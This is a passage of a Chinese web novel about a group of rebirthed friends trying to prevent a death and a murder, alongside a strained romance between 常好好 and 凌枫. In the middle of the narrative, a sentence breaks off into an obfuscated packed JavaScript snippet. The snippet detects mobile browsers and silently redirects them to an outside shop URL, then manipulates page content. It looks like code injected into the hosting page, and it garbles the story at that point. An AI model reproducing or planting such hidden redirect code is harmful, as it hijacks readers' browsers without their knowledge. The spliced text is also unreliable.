海风像冰刀子,刮得脸生疼。她戴上帽子、裹紧围巾,目光始终停留在远方的海面上,那里有几艘渔船。 她偶尔盯着静止的渔船,偶尔抬头望向灰蒙蒙的天空。 就在睫毛都快冻住的时候,太阳出来了。慢慢地,太阳脱离了海平线的黏着。 原先灰暗的世界被光照耀。 她犹如站在光里,只觉得身上冰冷的寒气正一丝一丝地被抽走。脸、身体、脚,忽然没有了寒意。 “原来,我真的重生了。”她望着那抹光,笑了。 52. 坦白 常好好沿着滨海路驾车前进,中途偶遇梅花鹿,停下车在远处望了望。后来微微打开车窗,双手把控着方向盘,一路向前。 等填饱肚子,她打开手作店的大门,门口挂起“欢迎光临”的小牌子,坐在椅子上认真戳起羊毛毡。 她不知道,这时候的家里面乱成一锅粥。 沈骁挂断电话,没有精神头地说道:“没人接。” “大早上的她能去哪儿?”安燃中气十足,看状态就知道昨晚睡的一定很好。 沈骁摇了摇头:“不知道啊。” 安燃抱臂,一脸正经的分析:“奇怪,昨天吃饭挺开心的啊。” “你确定?”沈骁斜他一眼,“你心思都在江翊身上,能有时间观察好好?” 安燃默了,根本不好意思出口反驳。他话锋一转:“但有一件事非常明确,惹到她的人绝不可能是我。”然后小眼神微微眯了眯,先看向沈骁。 见他眼神不友好,沈骁连忙摆手,“看我干嘛,我可没惹好好,我俩已经说通了,现在好的不得了。” 下一秒,沈骁和安燃不约而同地转头看向凌枫。 光看面容,凌枫脸上的表情和往常没什么不同。 安燃忽地想到哪里猛地侧头,眼珠子瞪着,朝着沈骁问:“说通?你俩需要说通什么?” 沈骁张了张嘴,咽了下口水,将昨晚她和常好好讲的内容重新输出一遍。 听完,安燃傻眼了,“不是吧?你竟然真练过?” “当然了,你真以为我是花架子啊。”沈骁道。 “我去门店看看。”凌枫不再理会他们两个,留下一句话便离开。 安燃脚下刚要跟上,一下子被沈骁拽住,他懵懵地回头,“你干嘛?我们一起去找好好。” “别去了,好好单纯想自己静一静。” “为啥,她到底出什么事了?” 沈骁一口闷下整瓶矿泉水,稳稳当当地坐在沙发上,不知道该不该讲述有关凌枫压根没重生的事实。 “你好,欢迎光临!”声音冷不丁地响起。 常好好摆弄包装袋的手停了下来,捏着袋子快步走到门口。 前来光顾的顾客不是别人,正是凌枫。 两个人面对面站着。 常好好笑了笑,率先说道:“是你啊,正好,我做了一个羊毛毡给你。”她将手里捏着的装好包装袋的可爱卡通小羊递到凌枫面前,“合约不变。所以我们还是合拍的队友,你说对吧?” 凌枫垂眼,看着可爱的羊毛毡抬了抬手。 听见常好好说出的话后,他的手顿在空中。 “这可是我花了好长时间一针一针戳出来的小羊。” 凌枫不再犹豫,接过包装袋。他的眼睛紧紧盯着羊毛毡,其实一点没看进去,心里面反复嚼着常好好的上一句话,越嚼越涩。 “对不起。”他没沉默太久继续道,“昨晚我打开了那间屋子,下定决心等你回来的时候跟你坦白一切。我——” “不重要,”常好好打断,笑着说,“都过去了。” 话音落下,凌枫的表情凝固了。 那双总是沉稳的眼睛里,能够瞬间捕捉到瞳孔微颤。 他没有立即开口说话,可身体却再也控制不住,紧紧捏住常好好的肩膀。 “你好,欢迎光临……” 突如其来的三声“欢迎光临”使凌枫头脑顷刻间清醒了,他望着常好好微微皱起的眉头,主动松开了手。 常好好平复情绪,侧了侧身子,朝来人点头微笑。 进来的女人微微颔首,大大方方向常好好和凌枫做自我介绍。 “你们好,我是蒋佳。” 这个名字对于常好好和凌枫来说有些陌生。 常好好细看蒋佳的脸,越来越眼熟,感觉对面的女人好像在哪里见过。 “我是江翊的母亲。”蒋佳道。 原来是这层关系。 常好好反应极快,“你是江跃的舅妈?” 蒋佳点头:“对,没错。” 听到“江跃”二字,凌枫眼神暗了暗。他默默站在常好好身旁,没有开口说话。 常好好拉出一把椅子,示意蒋佳坐下。 蒋佳坐好,吸了一口气又慢慢吐出来,沉吟了一会儿,才缓缓道来:“我来这里找你是想告诉你,我也是重生回来的人。” “?” 常好好惊讶到已经麻木了。 怎么遍地都是重生人。 她和凌枫未从震惊中缓过来,蒋佳已经再一次开口:“回来之后我每一天都在思考如何帮助我的女儿摆脱厄运。我曾经用过激的方法,后来发现行不通,反而适得其反。我不敢轻举妄动,准备用潜移默化的方式逐渐让她改变对现有工作的态度。目前为止,她比重生前好许多,至少没有为了工作连续干三个月,一天不休息。” “这些年,每年我都带她去医院做全身检查,暂时没发现问题。即便如此,依然不能让我松懈,我甚至经常做噩梦,梦中的情景恐怖至极。” “最近发现她和你们有了联系,我知道你们也重生了,所以想求你们帮忙。” 来龙去脉大概捋清楚,但仍旧有疑问。 常好好问道:“你如何得知我们也是重生人?” “你和跃跃没有在一起,加上你宣布退圈,这些都让我感到意外。因为与重生前差距过大,所以我跟着你一段时间。” 蒋佳说的没错,上一世和这一世发生了太多变化。 常好好回忆重生回来后的几年生活,面色严肃地道:“我没别的意思,只是好奇,您从哪里知道我在哪呢?” “我在心理机构见过你不止一次。”蒋佳哽咽道,“我女儿的事使我心理出现了问题。重生前,我丈夫求你去看小跃的事情我是知情的,但那时我心理疾病过重。已经出现了躯体化,属于自顾不暇。” 常好好和蒋佳足足聊上两个多小时,期间常好好知道了江翊出事的更多内幕。 重生前,蒋佳对江翊的学业和工作过于严格要求,这致使了江翊一直在生活和工作中追求所谓的“优秀”。 正是因为想要达到别人眼中的“优秀”,她最后把生命都搭进去了。 这样的优秀又有何意义呢? 刚开始蒋佳因为女儿出事一直处于崩溃中,之后的日子里她慢慢意识到从前的自己错得多离谱。 那些奖状和证书换不回她的女儿。 能够理解蒋佳的心情,常好好微微地叹了口气,实事求是地说:“阿姨,江翊一直都在我们想要改变的计划中,我们会尽最大努力帮忙,但我不敢说百分百成功。” 蒋佳不是小孩子,当然明白事情有多难解,点了点头,“我明白,谁又能真的预测未来呢。” “其实我还有一件事要跟你们说。” “阿姨您说。” “对面那栋楼快开始了。”蒋佳目光坚定,转过头继续道,“我是一名建筑设计师,对面那栋楼是我团队的项目。” “之所以重生当天会去那里是因为我无意中发现了有人为了钱将原定的材料换成了违规的材料。” 没想到会有意外收获,常好好激动地攥住蒋佳的小臂,“太好了,你知道那个人是谁?” “嗯,你们放心,这次无论如何我都不会让悲剧重演。”蒋佳说话很有底气。 眼下重生回来的队伍越来越强大,只要他们齐心,成功的希望很大。 常好好暗中松了一口气。 蒋佳离开,店里剩下她和凌枫。店内陷入了死一般的沉寂。 良久,凌枫先开口,他没有再提起感情的事,说道:“夏琳她有未婚夫,据我私下调查她并没有孩子。” “有未婚夫不稀奇,可是孩子……李川不会骗我们。” “那句话有歧义。”凌枫回忆常好好曾经复述李川的话,重新说一遍,“‘孩子到底是谁的?’那句话里没有主语,不一定是指夏琳的孩子。” 不是夏琳还能是谁? 常好好百思不得其解,信息太少,绞尽脑汁想不出来还能是谁。 “好好你真在店里啊。”安燃踏入店内,门口的欢迎光临才响起。 安燃完全没有眼力见的行为让沈骁汗颜。 沈骁扯了扯唇角,先安燃一步走到常好好对面,不客气地坐下,“我跟安燃坦白了我的情况。” 安燃点头,顺势也坐下。 听到沈骁的话,凌枫站了起来,本来将近一米九的身高就已经够显眼,忽地起身,低头凝视他们。 安燃极度费解凌枫为何非要站起来讲话,想要埋汰他,被凌枫抢先一步道:“我有事情跟大家坦白。” 安燃眨了眨眼睛,一脸问号。 凌枫:“其实我没重生。” 安燃张大嘴,久久没回过神。 凌枫:“真正重生的人是苏淼、陆颂还有苏淼的亲舅舅张韧。” 安燃撸起袖子,好像准备大干一场。 “对不起,我没有跟你们说实话。起初张韧他们找我的时候我并不相信,直到18年你过生日那天。”凌枫看向撸胳膊挽袖子的安燃基本忽视掉,偏了偏头,把视线投在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396035|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常好好脸上,“我察觉到你们两个人的不对劲,尤其是好好。” “之后我同意跟他们合作并在暗中找保镖保护世泽,调查世泽的社会关系,不放过每一个有嫌疑的人。” 安燃可算听明白了些,“哦,这么回事,所以你一直把我们当成怀疑对象?” “张韧是刑警队长。因为舆论影响,他被后调过去查世泽案。警方那边有几个怀疑对象。”凌枫停顿了一下,没再说下去。 安燃从鼻子里哼出一声:“现在知道我们没嫌疑了吧。” “嗯。”凌枫道。 沈骁发现凌枫和常好好之间的气氛非常微妙,赶紧站出来转移话题:“距离成世泽出事还有三年多,这时候我们等啥呢,赶紧团结起来一起帮忙找到伤害成世泽的人啊。” “没错,在这之前江翊的事同样重要。”安燃无意识地皱起眉,又快速松开眉头,“那个陆颂不是很厉害的心理专家嘛,有机会让他帮忙给江翊做一做心理辅导,绝对有用。” 沈骁举手:“我同意。” “我没意见。”常好好淡淡地说。 …… 两个重生小分队聚集的地点在凌枫家的秘密房间里。 刚开始气氛怪尬的,最尴尬的人是苏淼。她不由自主地想起前一阵的生活,整得像无间道似的,甚至不敢看常好好的眼睛。 张韧倒是没太多表情。陆颂更是游刃有余,率先自我介绍,而后直截了当地奔着主题说:“夏琳的事大家应该都知道了,她有未婚夫,没有孩子。当年李川听到的内容未必有假,可能是我们角度不同,思考太多反倒影响了判断。” 闻言,沈骁和安燃下意识地瞟向凌枫,紧接着小心翼翼地看常好好一眼。 他们深知李川的事凌枫知情。除了他,没人会和陆颂他们说,也明白为何他们愿意合作,无非是从凌枫那里得到了常好好当天临时改通告的缘由。 安燃越发看凌枫不顺眼,早知道他心眼多,没料到被耍了,毫无顾忌地冲他瞪了好几眼。这还不解气,连翻好几个大白眼。 张韧心理素质不比陆颂差,仿若看不见安燃的表情,继续分析:“据我们暗中调查,得知吴妍新有一个儿子。” 这个消息相当于一个横空出现的手榴弹,把常好好等人的情绪调动起来。 沈骁肢体动作最夸张,从椅子上弹起来,惊讶道:“啥玩意?吴妍新有孩子?她不是没结婚吗?”她在心理机构待着的时间比常好好要长,早与里面的工作人员打成一片,自然了解有关吴妍新的个人消息,所以不敢相信他们的话,“是不是有偏差,你们记错人了?” 张韧面容严峻,“我是专业的。” 对方气势太强,沈骁想要反驳的心被硬生生压了回去。 “哦,我明白了。你们的意思是成世轩问夏琳‘孩子是谁’不是指夏琳,是指吴妍新。” 张韧满意地点头,露出浅笑:“没错,是这个意思。” 得到明确答案,安燃双手握拳,看起来超级激动。 “太好了,锁定了吴妍新事情好办多了,至少暂时不用关注夏琳,重点放在吴妍新那里。” 常好好没有说话,从未放弃思考,心里重复着陆颂和张韧的话,从中找到重点,“吴妍新的孩子是谁的?” 张韧眼神闪烁,停顿片刻才道:“孩子的父亲和你有关系。” 常好好心下一紧。她不再吭声,莫名的恐惧充斥着整个身体。 安燃脑海中想到一个人,不可思议地皱了皱眉,瞧着常好好铁青的脸,犹犹豫豫,最后试探着问道:“成世轩?” 张韧摇头否定:“不是。” “啊?不是他能是谁?”安燃撇了撇嘴,陷入短暂的思考中。 既然张韧提起吴妍新和她的孩子,说明吴妍新这个人物非常重要,一定和成世泽有关系。他想到了一个人,内心不太想承认,犹犹豫豫问道:“成世泽?” 张韧再次否定。 常好好表情难看极了,目光投向凌枫,见他同样看着她,忽然间笑了,有气无力地道:“你早知道。” “我跟你一样,才知道。”凌枫的声音略显沙哑。 陆颂视线游移在他们两人之间,迅速了然,实话实说:“这件事我们早上才得到确定消息,所以凌枫和苏淼不知情,只有我和韧哥知道。” 说到这份上,明眼人都知道吴妍新的孩子是谁的。 当然,安燃除外。 他眼珠来回转动,想来想去仍没懂他们说的人是谁。 “我不懂,吴妍新孩子的父亲到底是谁?” 53. 检查 苏淼看安燃的眼神仿佛在看一个傻子,长长叹了一口气,无奈摇了摇头。 沈骁看不过去,凑近安燃耳边,小声说:“还能有谁,当然是成知聿。” 听到这个名字,安燃瞳孔地震,嘴唇抖了抖。 这个消息足够爆炸。 沈骁脑海里蹦出吴妍新的模样,不敢置信地嘀咕:“人不可貌相啊,我完全看不出来。话说他们俩之前差了有二十岁?” 苏淼:“何止?三十吧。” 张韧不想浪费时间,担心探讨内容越来越偏,及时开口:“现在事情比从前清晰许多。成世泽和吴妍新之间不是我们以为的情感关系,我怀疑成世泽接近吴妍新有目的。” 苏淼一点就通:“原来如此,上一世成世泽发现他的父亲和吴妍新有不正当关系,接近吴妍新暗中调查,发现真相后被吴妍新察觉直接灭口。天啊,跟我现在写的书的剧情连上了。”说完立马后悔,她算是个有眼力见的人,意识到场合不对,顾及到常好好在场,话头说转就转,“这样的话吴妍新的嫌疑大大提升。” “那我们还等什么,直接锁定她得了,跟踪她的活交给我,我在行。”沈骁附和道。 安静了一会儿的陆颂出声:“吴妍新反侦查能力很强,我们不能轻举妄动。倘若事情走向产生巨大变化,反而会影响我们的计划。” “那个……不好意思,我打断一下。” 安燃支支吾吾,所有人的目光全聚焦在他身上。 他瞬间词穷,不知道该不该说出口。常好好太了解他的小心思,不用想都知道他现在心里想的人是谁,于是帮他说道,“眼下有一件事更加紧急,我们有一个朋友需要正确引导,麻烦颂哥帮一下我们。” 陆颂没有一丝迟疑,笑道:“没问题。” 该讨论的都已经讨论,每个人分工明确,看上去好像一切都很和谐。 但聪明人能看出常好好和凌枫之间的别扭,大家谁都没戳破,就连没眼色的安燃都智商在线,没再说些有的没的。 会议结束,苏淼因为心虚溜的最快,陆颂和张韧陆续离开,沈骁忙活店里的事,只剩下安燃和两个别扭的人。 安燃原有计划也是能跑多远跑多远,但碍于两边都是他的朋友,纠结好几个来回,终于选择留下来做这个和事佬。 “凌枫你这事做的不地道,但不是完全不能理解。”他清楚凌枫和成世泽的关系有多好,代入进去能接受,何况凌枫道歉速度极快,瞬间原谅了对方,“我们有共同的目标,所以别为之前的事影响团队协作,大家都不容易。” 常好好忙着回复手机里的消息,没吱声。 安燃借机给了凌枫一杵子,顺便递了一个眼神,示意他赶紧和常好好赔礼道歉。 凌枫不想理会毛毛躁躁的安燃,缓了缓,柔声道:“好好,我知道你还在生我的气。” 常好好打字的手指微顿,将手机倒扣在茶几,坦坦荡荡地说:“你想多了,我已经翻篇了,现在成世泽和江翊的事最重要。” “那我呢?”凌枫眼神不似从前,突然有一种破碎感,“我对你不重要。” 常好好眼神闪躲又拿起手机,随意翻看着,“昨天的事就当一场戏,其实没什么大不了的。” 凌枫:“所以,你打算抛弃我?” 越听越不对劲,安燃忍不住出声:“不是等会儿,你俩什么情况?” 凌枫无视安燃的话,继续道:“我对你的感情是认真的。” “我对待感情同样认真,”常好好的笑意未达眼底,“但是不合适可以及时止损。” 说到这份上,再听不明白那就是真傻子。 安燃猛地往后蹦了一大步,一只手捂着嘴巴,一只手颤颤巍巍地抬起,愤恨地指着他们,“我靠!你们俩……你们实在太过分了!” 常好好和凌枫面面相觑。 安燃:“你们背叛了我。” 常好好:“……” 凌枫不想给他眼神,想要握住常好好的手,被安燃直冲过来挡了个严严实实。 安燃气呼呼地说:“我今天不走了,你们两个必须给我一个说法。” 常好好有正事要处理,自动忽略安燃的无理取闹,拎起包往大门走,边走边道:“爱走不走,我有事先走了。” 见其中一个当事人走了,安燃挡在凌枫面前,说什么都不让他离开,“你必须跟我交代清楚事情原委。” 亲眼目睹大门被打开又被无情关上。 凌枫看向身前这位“幼稚儿童”,再也没有之前的好性子,与其保持距离,“爱走不走,反正我房间多,你随意。”话落扭头就走,无视安燃的咆哮。 一晃十个月过去。 小分队在此帮助了许多人,却发现绝大多数的人还是会回到原本属于他们的轨道,这让他们更加担心江翊和成世泽的未来。 安燃每天提心吊胆,几乎三点一线,家、羽毛球馆、江翊公司来回跑。 沈骁比他忙,不止三个地方晃悠。 相比之下,常好好没他们那么废腿。心理机构那边有张韧的人蹲守,她不是在家就是去店里忙活。 如今手作坊受欢迎,连工作日都很难找到时间休息。 这天,常好好正在店里忙碌招呼着顾客,收银台桌上的手机铃声响个不停。她飞快地跑到收银台,接通电话:“喂——” 电话那头的沈骁急叨叨地说:“出事了,江翊晕倒了。” 常好好身体一激灵,脑子里把所有可能性全部想了一通,来不及考虑其他,快速回道:“我知道了,我马上过去,一会儿叫苏淼帮我看一下店。” 沈骁:“苏淼在我这儿呢。” 常好好:“我马上打给安燃。” 沈骁:“安燃正在来医院的路上。” 常好好:“……” 闹了半天,她是最后一个知道的。 沈骁:“找枫哥吧,他肯定帮你。” 常好好想都没想,拒绝道:“不用他。” “没关系,我已经跟他说了,他现在估计快到店里了吧。”沈骁嬉皮笑脸一顿输出,讲完赶紧把电话挂了,不给常好好骂她的机会。 常好好气得咬紧牙根,手握成拳头用力砸在桌面,结果疼的哎呀咧嘴。 “你好,欢迎光临!” 此时此刻,门口欢迎的声音格外刺耳。 她深呼一口气,笑脸迎接凌枫,告知他注意事项,然后急匆匆朝医院去赶。 到达医院,她看见病房外的沈骁和苏淼,一把抓住沈骁的手腕,气喘吁吁地说:“江翊……她……现在如何?” 沈骁不紧不慢地咬上一口香蕉,耸了耸肩:“没事啊,好的很。” 她傻愣愣地定在原地,怀疑耳朵出现了幻听,“什么意思?不是你说江翊忽然晕倒?” 沈骁三下五除二把余下的香蕉全部吃进肚子里,无聊地甩着手里的香蕉皮,“对啊,她在宠物医院猛地往地上摔,当时吓死我的小心脏了,还好还好,医生说她是低血糖。” “……” “你不会想到那啥了吧,怎么可能?那么严重我能不告诉你?” “……” “电话里我没说那么严重啊,只是说她晕倒了而已。” 而已??? 常好好用力捏着手,沈骁吃痛,立马抽回手臂,“哎呀,我们应该开心才是,没啥大事,虚惊一场。” 今天是周日,下午江翊、沈骁和苏淼约着去给受伤的流浪猫做检查,谁成想刚结算完费用,江翊便晕在宠物医院里,不仅沈骁和苏淼吓坏了,旁边的工作人员都被吓得不轻。 苏淼不似沈骁没心没肺。事到如今,她仍旧心有余悸,“要不是沈骁手脚反应快,江翊脸直接朝地。” 想想那个画面都恐怖,常好好松了一口气,拍了拍沈骁,“辛苦了,多亏你。” 后续,江翊低血糖晕倒的事产生了连锁反应。 因为晕倒,她做了许多检查。 通过检查,她发现身体有劳损开始着重全身大检查。也是因为查出来一些小毛病,她向公司请假,手续俱全的情况下公司不给批假,最终闹得不欢而散。 虽然被无理由辞退让江翊不爽了好久,但至少保住了命。 蒋佳和安燃每天心里乐呵的不行,表面收着,一起在江翊面前演戏,安慰她工作的事放一放,身体才是当下最重要的。 江翊摆脱了上一世的悲剧,无疑让重生小分队欣喜万分。大家忙里忙外倍儿有精神头,一切进行得很顺利。 凡事都有意外。 不过这个意外不是坏事,让大家都感到惊讶。 苏淼:“什么?你二哥和舒悦在一起了?” 安燃:“这对吗?他们俩上一世没交集啊。” 沈骁:“正常,江翊不也和你交往了,我觉得成世泽和舒悦在一起不稀奇。” 安燃:“喂!我说你们聊归聊,闹归闹,能不能别往别人身上泼水,关我啥事?” 三个人叽里咕噜好像在互相聊天,又好像在各说各的,常好好没有加入他们的“战场”中。 其实得知成世泽和陈舒悦交往的消息,她表现出来的状态比他们几个人还要夸张。好在对方是陈舒悦,她并不太担心,甚至时不时地提醒陈舒悦多注意成世泽平常的饮食。 目前为止,一切都在向好。 与此同时,成家和凌家两边开始催婚礼事宜,尤其是成知聿和方琴,着急得生怕对方反悔似的。 常好好好不容易有时间喘口气,心又被他们提了起来,无奈之下只能找凌枫研究对策。 最近一年,她和凌枫的关系总是透着微妙。内心深处难免多寻思,难道对凌枫的情感还未放下? 她眼神发直,始终盯着手指头,压根没听对面人说的啥。 “好好?” 凌枫把她从胡思乱想中喊了回来。她迷茫地看过去,手摸了摸下巴,故作考虑了一下,点头说道:“嗯,我们现在不适合办 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常好好换了个姿势重新坐在原位,又抬起屁股来回在客厅里踱步,然后坐到凌枫身旁,探出头,一本正经地问:“你确定?陈舒悦没跟我提起过啊。” 因为距离很近,凌枫能够闻到常好好头发上的香味。 他偏过头,咽了一口口水,不看常好好的脸,轻声说:“他准备求婚,陈舒悦那边不知情。” 听到这话,常好好更加不能理解,满脸问号:“他脸皮未免太厚了,婚都没求,就开始打听婚礼的情况,他哪来的自信和勇气?” 看着常好好吐槽成世泽,手臂在空中比划来比划去的。 凌枫脸上露出宠溺的笑,微微歪着头欣赏眼前女人的小表情。察觉到对方目光袭来,他快速垂下眸子,认真分析道:“如果世泽求婚一切顺利,成家暂时不会催你,至于我妈那边,我有理由说服她。” 一语惊醒梦中人。 常好好不再吐槽,整个人窝在沙发里,一下子安静下来。 凌枫说的对,成世泽办婚礼的话,其他人的视线全部转移到他那边,肯定没多少人在意她和凌枫的婚礼筹备情况。想到这,她双手合十,闭上双眼,嘴里念叨着:“感谢成世泽!感谢我自己!” 凌枫只觉好笑,一不小心笑出了声。 “你笑什么?”常好好被的笑声吓到,屁股往远处移了移。 凌枫不敢轻举妄动,起身朝厨房方向迈步,“我煮了红枣枸杞水,补气血的,给你倒一些。” 常好好没吭声,坐在原处,望着凌枫的背影目光随之而动,不自觉地扫到一处位置。 她的脑海里瞬间蹦出两个人亲吻的画面。 凌枫打断她的回忆,转身问道:“先来一杯?” “嗯?”常好好莫名心虚,手指揉了揉脸颊,不敢看凌枫的眼睛,抬头看着吸顶灯,点了点头,“可以。” 两个人仿佛有心灵感应,谁都没再提起那天的事。 这段时间常好好不再做有关雾气的梦,却偶尔做起噩梦。 无数次的梦境里,成世泽被吴妍新强迫吃下各种稀奇古怪的东西,结果显而易见,都是一样的悲剧。 距离上一世成世泽出事只剩下不到一年,时间越临近,她的心越不踏实,就怕功亏一篑。 至于她和凌枫之间的关系。常好好不再深想,来到凌枫身后,靠在侧边的调料柜上,微眯双眸道:“上次开会,张韧说不排除吴妍新有帮手。假如她真的有帮手,你觉得帮手会是谁?” 凌枫将略烫的红枣枸杞水放在碟子里,回身注视着她,手臂忽然伸过来,手指勾住她的发丝,帮她掖在耳后,动作轻柔,速度也很快。 等她缓过神的时候,人家已经退后一步,回到了原先的位置。 常好好:“……” 故意的吧? 她发现了,凌枫总是隔一段时间,尤其在他们单独相处的时候,非常没有边界感。 “你下次能不能……”常好好努力组织着语言,正迟疑怎么表达更好,凌枫的手机铃声不合时宜地响起。她抿紧双唇,视线转移到冒着热气的杯子,思路仍处于断线状态。 凌枫再次靠近她,直接在她身旁接通电话,“喂,有事?”语气不好不坏,却很放松。 想着应该是熟悉的人,常好好脚下纹丝不动,凝视不远处的冰箱,打算充耳不闻,谁知电话那边的人嗓门和沈骁有的一拼,想忽略都难。 只听那边的人道:“好好呢?给她打电话永远不接,她是不是在你那里?” 打来电话的人是安燃。 与对面的交集形成强烈反差,凌枫毫不避嫌点开扬声器,不紧不慢地说:“在我身边。怎么了,有重要的事?” 安燃急叨叨的一顿输出:“当然重要,后天我和江翊约她出去逛街。对了,江跃也去,我正要跟她商量——” 常好好扯了扯唇。 安燃真是脑残级别,怎么什么都跟凌枫说? 54. 聚餐 听见安燃提到江跃,常好好手不自然地捏着裙角,来不及思考其他,踮起脚尖、抬起手要抢夺凌枫的手机,结果对方提前判断出来。 她抬高的手腕被凌枫另一只手稳稳地抓住。 那边,安燃仍在不停歇地道:“我对象没直说,但我能看出来他想撮合江跃和好好。看来江跃对好好的心思一直没有放弃,我这正愁如何跟我对象坦白你们俩的事,毕竟你们两个这么多年除了家人和个别朋友没对外公开,我这不好说啊。” “没关系,我亲自说。”凌枫右手攥住常好好的手,左手依然拿着手机。 电话那头的安燃显然没反应过来,“啊?你咋亲自说?” 凌枫:“一会儿再说,我这里有重要的事。” 安燃:“不是,你什么意思?喂,你——” 凌枫挂断了通话。 常好好想要抽回手,发现压根动弹不了,情绪正上头,语气自然不友好,“你放手!” 凌枫不但不放手反而轻轻一拉,她的身子直接被带到了他怀里。 推不开近在眼前的男人,她气得咬牙,一字一顿地道:“凌枫!快松开我!” 凌枫渐渐松力。 常好好立马抽回手腕,往后退一步。 两个人面对面站着,没出声,没有任何动作。 大概半分钟,常好好开口:“我先回去了。”说完加快脚步离开。 听见大门口传出声响,沈骁放下手机,猛地转头,喊道:“回来啦!”对方简单应声,她从上到下扫视常好好一圈,眼珠转了转,心下思量到不对劲,“咋了?你俩谈得不够融洽?” 常好好跟凌枫养成了回家立即洗手的好习惯,坐到沈骁身旁,懒洋洋地道:“还行。” 常好好和凌枫的状态和变化,大家看在眼里。 距离上一世成世泽出事时间愈来愈近,大家尽量把注意力聚焦在成世泽周围,自是没闲暇时间讨论他们两个人的关系。 沈骁和其他人不同,她好奇心不是一般重,早想找常好好交流感情问题,奈何没找到合适的时机,赶上最近成世泽研究婚礼,几乎不出现在心理机构,她可算钻到空子,能摸会儿鱼。 于是一把搂过常好好的肩头,眼里满是对八卦的渴望,“好好啊,你对枫哥是不是没完全放下。” 凌枫只要出现在常好好面前绝对和平时状态不一样。甚至夏天那会儿,动不动“孔雀开屏”,穿个运动背心在常好好面前晃来晃去。 该说不说,身材真不错。 沈骁越想越偏,赶紧回过神,紧紧盯着常好好的面部表情,心里已经有了答案,甚至准备好下一句问话的。万万没想到,人家不给她机会。 常好好轻轻低喃:“是吧。” “嗯。”沈骁下意识地点头,然后扬了扬眉,“啊?” 她没料到常好好如此坦诚,把她弄懵了,瞬间词穷。 “现在不是感情用事的时候。” “我懂,成世泽的事已进入尾声,你沉浸在里面实属正常,但是……这不冲突啊。”沈骁佩服常好好的心态。佩服归佩服,实际还是不太能理解,“你不怕他爱上别人?” 常好好笑了笑,笑容干净不掺杂复杂的情绪,“我只能管好自己、做好自己、改变自己。至于别人如何,我做不了主。” 小声嘀咕常好好的话,沈骁似懂非懂,干脆不浪费脑细胞,感叹一句:“你真稳啊,换作是我的话,肯定会提心吊胆。怎么说呢,反正先把对方拿下再说。” 常好好笑笑没说话。 沈骁发现常好好六年间的变化巨大,现在反倒有一种之前她看凌枫的感觉,让人摸不透、看不懂。 “其实有一件事我没告诉你。”她的视线不再停留在常好好身上,垂头,玩起自己的手指头,玩的同时不影响她嘴上面的输出,“苏淼曾经跟我提起过,当天晚上枫哥决定跟你坦白,谁成想事情的发展出乎所有人的意料。” 寻思当天的“跌宕起伏”多少跟她沾点关系,沈骁继续道:“我也一样,跟着跟着,没想到你和你朋友竟然直接走到我之前工作的格斗馆。有一说一,人生真奇妙。” 同样差不多的话凌枫早和她解释过,常好好不觉得意外,神情淡然,不知意识跳到了哪里,眉头轻轻蹙起,“顺其自然吧,眼下先把我二哥的事情解决。” 闻言,沈骁脑海里挥之不去重生前凌枫在常好好家门口停留的画面。 她张了张嘴,目光触及到常好好坦然的面容,抿了抿唇,琢磨着她的话有道理,当下处理成世泽的事更重要。 其他的事等以后再说吧。 常好好专注于思考成世泽最近与吴妍新的接触,没注意到沈骁看她的眼神和心事重重的模样。 她捋好逻辑,去书房记录下来,开始着手准备明天与江跃见面后的话术。 虽然江翊的结果已经转变,但江跃的心理病症仍然存在,那是从小时候便跟随他的心病,要想从根祛除并没那么容易。所以明天的聚会不止有江翊、江跃、安燃和她四个人,她还叫上陆颂一起。 天气不错,近一周以来难得的晴朗天气。 常好好早早到达餐厅,看见陆颂一个人前来赴宴,她侧目瞥向江翊和江跃,脚步微微挪步,移到陆颂身旁,压低声音,用只有他们两个人能听到的音量问:“不是说可以带女伴?你一个人过来的?” “不是啊。”陆颂摸了摸鼻头,欲言又止,不敢看常好好的眼睛,小声道,“女伴没有,倒是有个男伴。” 男伴? 常好好心里咯噔一声,突然有种不好的预感。 下一秒,安燃惊讶地喊了一声:“凌枫?你怎么在这?” 果然如此。 因为陆颂提前跟她打招呼,常好好好并没有震惊到哪儿去,至少比安燃强一些。 安燃亲眼见证凌枫臭不要脸地抢先坐在常好好边上。他想发作又找不到理由,默默打量常好好的表情,见常好好淡定如斯,他装作没看见凌枫,低下头,帮江翊整理餐具。 人全部到齐,安燃作为组织饭局的东家率先介绍陆颂和凌枫。 江跃不是第一次见凌枫,两个人寒暄一番。 江翊与安燃对视,期间没说什么话。 常好好拿着公筷,时不时地递给陆颂眼神。陆颂给力得很,眼力见一流,用他的方式与江跃交流。 有陆颂在,常好好终于安下心,动了动筷子,眼看筷子即将触碰到菜,侧边一双公筷抢先一步,夹起西兰花轻轻放入她的碗里。 眼前一幕似曾相识。 她垂头看向碗里的西兰花,真他丫的……绿啊。 这次与上次不同,西兰花的确是她爱吃的蔬菜,但总感觉自己好像陷入了某种循环,品味起来怪怪的。 凌枫给常好好夹菜这一幕过于吸引旁人的目光。 江跃和陆颂尤其明显,立马停止交流,自然而然地转移视线。 陆颂观察好一会儿,嘴撇着,一点不顾及和凌枫的关系,表情充满了嫌弃。江跃的表情则有些落寞,但他很快调整好,嘴角微微上扬,笑道:“你还是那么爱吃西兰花,记得你从前特别不喜欢吃海鲜和过油的肉菜,每次剧组聚餐你都挑蔬菜吃。” “是啊,那么久了,你竟然还记得。”常好好笑着答道。 江跃点头,“嗯,我对你印象很深。” 闻言,江翊和安燃表情动作几乎一模一样,眨巴着眼睛,张着嘴。说也不是,不说也不是,犹犹豫豫最后四目相对,该吃吃该喝喝,决定不参与其中。 听到江跃的话,常好好心里五味杂陈。 在这么多人面前,不方便输出有关情感的话题,更没法直面拒绝,她挤出一个笑,“谢谢,可能是那时候的我话太多,想让人忽略都难。” 刚出道那会儿,她话密到连身边助理都忍不住提醒的程度。如今她的变化不是一般的大,简直可以用巨变来形容。 “现在不是了,偶尔甚至有些佩服从前的自己,哪来那么多话需要说。”她开玩笑地道。 